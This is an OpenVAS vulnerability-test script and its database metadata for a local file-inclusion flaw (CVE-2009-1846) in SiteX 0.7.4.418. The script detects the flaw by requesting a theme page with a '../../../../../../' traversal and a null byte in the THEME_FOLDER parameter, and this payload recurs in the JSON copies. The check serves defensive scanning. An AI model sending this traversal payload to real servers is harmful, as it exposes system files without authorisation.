SiteX 'THEME_FOLDER' Parameter Multiple Local File Include Vulnerabilities
2010-01-20T00:00:00
ID OPENVAS:100454 Type openvas Reporter This script is Copyright (C) 2010 Greenbone Networks GmbH Modified 2017-10-26T00:00:00
Description
SiteX is prone to multiple local file-include vulnerabilities because
it fails to properly sanitize user-supplied input.
An attacker can exploit these issues to obtain potentially sensitive
information and execute arbitrary local scripts in the context of the
webserver process. This may allow the attacker to compromise the
application and the computer; other attacks are also possible.
SiteX 0.7.4.418 is vulnerable; other versions may also be affected.
###############################################################################
# OpenVAS Vulnerability Test
# $Id: SiteX_35122.nasl 7577 2017-10-26 10:41:56Z cfischer $
#
# SiteX 'THEME_FOLDER' Parameter Multiple Local File Include Vulnerabilities
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
tag_summary = "SiteX is prone to multiple local file-include vulnerabilities because
it fails to properly sanitize user-supplied input.
An attacker can exploit these issues to obtain potentially sensitive
information and execute arbitrary local scripts in the context of the
webserver process. This may allow the attacker to compromise the
application and the computer; other attacks are also possible.
SiteX 0.7.4.418 is vulnerable; other versions may also be affected.";
if(description)
{
script_id(100454);
script_version("$Revision: 7577 $");
script_tag(name:"last_modification", value:"$Date: 2017-10-26 12:41:56 +0200 (Thu, 26 Oct 2017) $");
script_tag(name:"creation_date", value:"2010-01-20 10:52:14 +0100 (Wed, 20 Jan 2010)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2009-1846");
script_bugtraq_id(35122);
script_name("SiteX 'THEME_FOLDER' Parameter Multiple Local File Include Vulnerabilities");
script_tag(name:"qod_type", value:"remote_vul");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
script_dependencies("find_service.nasl", "http_version.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name : "summary" , value : tag_summary);
script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/35122");
script_xref(name : "URL" , value : "http://sitex.bjsintay.com/index.php");
exit(0);
}
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
port = get_http_port(default:80);
if(!can_host_php(port:port))exit(0);
files = traversal_files();
foreach dir( make_list_unique( "/sitex", "/cms", cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
url = dir + "/login.php";
buf = http_get_cache(item:url, port:port);
if( buf == NULL )continue;
if(egrep(pattern: "Powered by.*SiteX", string: buf, icase: TRUE)) {
foreach file (keys(files)) {
url = string(dir, "/themes/Corporate/homepage.php?THEME_FOLDER=../../../../../../",files[file],"%00");
if(http_vuln_check(port:port, url:url,pattern:file)) {
report = report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
}
}
exit( 99 );
{"id": "OPENVAS:100454", "bulletinFamily": "scanner", "title": "SiteX 'THEME_FOLDER' Parameter Multiple Local File Include Vulnerabilities", "description": "SiteX is prone to multiple local file-include vulnerabilities because\nit fails to properly sanitize user-supplied input.\n\nAn attacker can exploit these issues to obtain potentially sensitive\ninformation and execute arbitrary local scripts in the context of the\nwebserver process. This may allow the attacker to compromise the\napplication and the computer; other attacks are also possible.\n\nSiteX 0.7.4.418 is vulnerable; other versions may also be affected.", "published": "2010-01-20T00:00:00", "modified": "2017-10-26T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "http://plugins.openvas.org/nasl.php?oid=100454", "reporter": "This script is Copyright (C) 2010 Greenbone Networks GmbH", "references": ["http://sitex.bjsintay.com/index.php", "http://www.securityfocus.com/bid/35122"], "cvelist": ["CVE-2009-1846"], "type": "openvas", "lastseen": "2017-10-30T10:45:49", "history": [{"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2009-1846"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "SiteX is prone to multiple local file-include vulnerabilities because\nit fails to properly sanitize user-supplied input.\n\nAn attacker can exploit these issues to obtain potentially sensitive\ninformation and execute arbitrary local scripts in the context of the\nwebserver process. This may allow the attacker to compromise the\napplication and the computer; other attacks are also possible.\n\nSiteX 0.7.4.418 is vulnerable; other versions may also be affected.", "edition": 1, "enchantments": {}, "hash": "713491d21aa03a6dc93135413ecfadad8ad067db5d543e106979eff35e7f610e", "hashmap": [{"hash": "fb3272587dd6a2cacd01796731cbe3e0", "key": "href"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "bbdf0fba5c6c295f7c46c5e412e54785", "key": "title"}, {"hash": "b42e11a3e2f107667f182e7d19cc605f", "key": "modified"}, {"hash": "d1ad8565d801423dc00d60c10e1f7778", "key": "references"}, {"hash": "beab8ef6da9437b131e60c2b24233923", "key": "reporter"}, {"hash": "55199d25018fbdb9b50e6b64d444c3a4", "key": "naslFamily"}, {"hash": "47c1f692ea47a21f716dad07043ade01", "key": "type"}, {"hash": "6fa7629dc1fbbc744b958cca3ab92a6f", "key": "published"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "4f4cde3dcd810d6a600026089d532b68", "key": "sourceData"}, {"hash": "4cb146e1494d8e5b95999733667dbfe7", "key": "description"}, {"hash": "3e80f2700d583cb14d7be7655808bf1e", "key": "pluginID"}, {"hash": "ee3514215d27c8d4ab3be37e3fdc2a0a", "key": "cvelist"}], "history": [], "href": "http://plugins.openvas.org/nasl.php?oid=100454", "id": "OPENVAS:100454", "lastseen": "2017-07-02T21:10:03", "modified": "2017-03-29T00:00:00", "naslFamily": "Web application abuses", "objectVersion": "1.3", "pluginID": "100454", "published": "2010-01-20T00:00:00", "references": ["http://sitex.bjsintay.com/index.php", "http://www.securityfocus.com/bid/35122"], "reporter": "This script is Copyright (C) 2010 Greenbone Networks GmbH", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: SiteX_35122.nasl 5761 2017-03-29 10:54:12Z cfi $\n#\n# SiteX 'THEME_FOLDER' Parameter Multiple Local File Include Vulnerabilities\n#\n# Authors:\n# Michael Meyer\n#\n# Copyright:\n# Copyright (c) 2010 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_summary = \"SiteX is prone to multiple local file-include vulnerabilities because\nit fails to properly sanitize user-supplied input.\n\nAn attacker can exploit these issues to obtain potentially sensitive\ninformation and execute arbitrary local scripts in the context of the\nwebserver process. This may allow the attacker to compromise the\napplication and the computer; other attacks are also possible.\n\nSiteX 0.7.4.418 is vulnerable; other versions may also be affected.\";\n\nif(description)\n{\n script_id(100454);\n script_version(\"$Revision: 5761 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-03-29 12:54:12 +0200 (Wed, 29 Mar 2017) $\");\n script_tag(name:\"creation_date\", value:\"2010-01-20 10:52:14 +0100 (Wed, 20 Jan 2010)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2009-1846\");\n script_bugtraq_id(35122);\n script_name(\"SiteX 'THEME_FOLDER' Parameter Multiple Local File Include Vulnerabilities\");\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_category(ACT_ATTACK);\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2010 Greenbone Networks GmbH\");\n script_dependencies(\"find_service.nasl\", \"http_version.nasl\", \"os_detection.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_tag(name : \"summary\" , value : tag_summary);\n script_xref(name : \"URL\" , value : \"http://www.securityfocus.com/bid/35122\");\n script_xref(name : \"URL\" , value : \"http://sitex.bjsintay.com/index.php\");\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"host_details.inc\");\n\nport = get_http_port(default:80);\nif(!can_host_php(port:port))exit(0);\n\nfiles = traversal_files();\n\nforeach dir( make_list_unique( \"/sitex\", \"/cms\", cgi_dirs( port:port ) ) ) {\n\n if( dir == \"/\" ) dir = \"\";\n url = dir + \"/login.php\";\n buf = http_get_cache(item:url, port:port);\n if( buf == NULL )continue;\n\n if(egrep(pattern: \"Powered by.*SiteX\", string: buf, icase: TRUE)) {\n \n foreach file (keys(files)) {\n\n url = string(dir, \"/themes/Corporate/homepage.php?THEME_FOLDER=../../../../../../\",files[file],\"%00\");\n if(http_vuln_check(port:port, url:url,pattern:file)) {\n report = report_vuln_url( port:port, url:url );\n security_message( port:port, data:report );\n exit( 0 );\n }\n }\n }\n}\n\nexit( 99 );\n", "title": "SiteX 'THEME_FOLDER' Parameter Multiple Local File Include Vulnerabilities", "type": "openvas", "viewCount": 0}, "differentElements": ["modified", "sourceData"], "edition": 1, "lastseen": "2017-07-02T21:10:03"}], "edition": 2, "hashmap": [{"key": "bulletinFamily", "hash": "bbdaea376f500d25f6b0c1050311dd07"}, {"key": "cvelist", "hash": "ee3514215d27c8d4ab3be37e3fdc2a0a"}, {"key": "cvss", "hash": "e5d275b3ebd62646b78320753699e02e"}, {"key": "description", "hash": "4cb146e1494d8e5b95999733667dbfe7"}, {"key": "href", "hash": "fb3272587dd6a2cacd01796731cbe3e0"}, {"key": "modified", "hash": "9c03d31da5599a930b848ba03dfd9c0d"}, {"key": "naslFamily", "hash": "55199d25018fbdb9b50e6b64d444c3a4"}, {"key": "pluginID", "hash": "3e80f2700d583cb14d7be7655808bf1e"}, {"key": "published", "hash": "6fa7629dc1fbbc744b958cca3ab92a6f"}, {"key": "references", "hash": "d1ad8565d801423dc00d60c10e1f7778"}, {"key": "reporter", "hash": "beab8ef6da9437b131e60c2b24233923"}, {"key": "sourceData", "hash": "9fcbb67b3657643dd8e55ccf00a1d803"}, {"key": "title", "hash": "bbdf0fba5c6c295f7c46c5e412e54785"}, {"key": "type", "hash": "47c1f692ea47a21f716dad07043ade01"}], "hash": "e5d1962e21c4bd05a482823281c1d9957a3961a3394a459ed40f903e3afd3c89", "viewCount": 0, "enchantments": {"vulnersScore": 8.3}, "objectVersion": "1.3", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: SiteX_35122.nasl 7577 2017-10-26 10:41:56Z cfischer $\n#\n# SiteX 'THEME_FOLDER' Parameter Multiple Local File Include Vulnerabilities\n#\n# Authors:\n# Michael Meyer\n#\n# Copyright:\n# Copyright (c) 2010 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_summary = \"SiteX is prone to multiple local file-include vulnerabilities because\nit fails to properly sanitize user-supplied input.\n\nAn attacker can exploit these issues to obtain potentially sensitive\ninformation and execute arbitrary local scripts in the context of the\nwebserver process. This may allow the attacker to compromise the\napplication and the computer; other attacks are also possible.\n\nSiteX 0.7.4.418 is vulnerable; other versions may also be affected.\";\n\nif(description)\n{\n script_id(100454);\n script_version(\"$Revision: 7577 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-10-26 12:41:56 +0200 (Thu, 26 Oct 2017) $\");\n script_tag(name:\"creation_date\", value:\"2010-01-20 10:52:14 +0100 (Wed, 20 Jan 2010)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2009-1846\");\n script_bugtraq_id(35122);\n script_name(\"SiteX 'THEME_FOLDER' Parameter Multiple Local File Include Vulnerabilities\");\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_category(ACT_ATTACK);\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2010 Greenbone Networks GmbH\");\n script_dependencies(\"find_service.nasl\", \"http_version.nasl\", \"os_detection.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_tag(name : \"summary\" , value : tag_summary);\n script_xref(name : \"URL\" , value : \"http://www.securityfocus.com/bid/35122\");\n script_xref(name : \"URL\" , value : \"http://sitex.bjsintay.com/index.php\");\n exit(0);\n}\n\ninclude(\"misc_func.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"host_details.inc\");\n\nport = get_http_port(default:80);\nif(!can_host_php(port:port))exit(0);\n\nfiles = traversal_files();\n\nforeach dir( make_list_unique( \"/sitex\", \"/cms\", cgi_dirs( port:port ) ) ) {\n\n if( dir == \"/\" ) dir = \"\";\n url = dir + \"/login.php\";\n buf = http_get_cache(item:url, port:port);\n if( buf == NULL )continue;\n\n if(egrep(pattern: \"Powered by.*SiteX\", string: buf, icase: TRUE)) {\n \n foreach file (keys(files)) {\n\n url = string(dir, \"/themes/Corporate/homepage.php?THEME_FOLDER=../../../../../../\",files[file],\"%00\");\n if(http_vuln_check(port:port, url:url,pattern:file)) {\n report = report_vuln_url( port:port, url:url );\n security_message( port:port, data:report );\n exit( 0 );\n }\n }\n }\n}\n\nexit( 99 );\n", "naslFamily": "Web application abuses", "pluginID": "100454"}
{"result": {"cve": [{"id": "CVE-2009-1846", "type": "cve", "title": "CVE-2009-1846", "description": "Multiple directory traversal vulnerabilities in SiteX 0.7.4 Build 418 and earlier allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the THEME_FOLDER parameter to (1) Corporate/homepage.php, (2) Fusion/homepage.php, (3) Joombo/homepage.php, (4) Streamline/homepage.php, and (5) Structure/homepage.php in themes/.", "published": "2009-06-01T15:30:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1846", "cvelist": ["CVE-2009-1846"], "lastseen": "2017-09-29T14:26:38"}], "exploitdb": [{"id": "EDB-ID:8816", "type": "exploitdb", "title": "SiteX <= 0.7.4.418 THEME_FOLDER Local File Inclusion Vulnerabilities", "description": "SiteX <= 0.7.4.418 (THEME_FOLDER) Local File Inclusion Vulnerabilities. CVE-2009-1846. Webapps exploit for php platform", "published": "2009-05-27T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/8816/", "cvelist": ["CVE-2009-1846"], "lastseen": "2016-02-01T08:14:22"}], "openvas": [{"id": "OPENVAS:1361412562310100454", "type": "openvas", "title": "SiteX 'THEME_FOLDER' Parameter Multiple Local File Include Vulnerabilities", "description": "SiteX is prone to multiple local file-include vulnerabilities because\nit fails to properly sanitize user-supplied input.\n\nAn attacker can exploit these issues to obtain potentially sensitive\ninformation and execute arbitrary local scripts in the context of the\nwebserver process. This may allow the attacker to compromise the\napplication and the computer; other attacks are also possible.\n\nSiteX 0.7.4.418 is vulnerable; other versions may also be affected.", "published": "2010-01-20T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310100454", "cvelist": ["CVE-2009-1846"], "lastseen": "2018-01-23T13:06:00"}]}}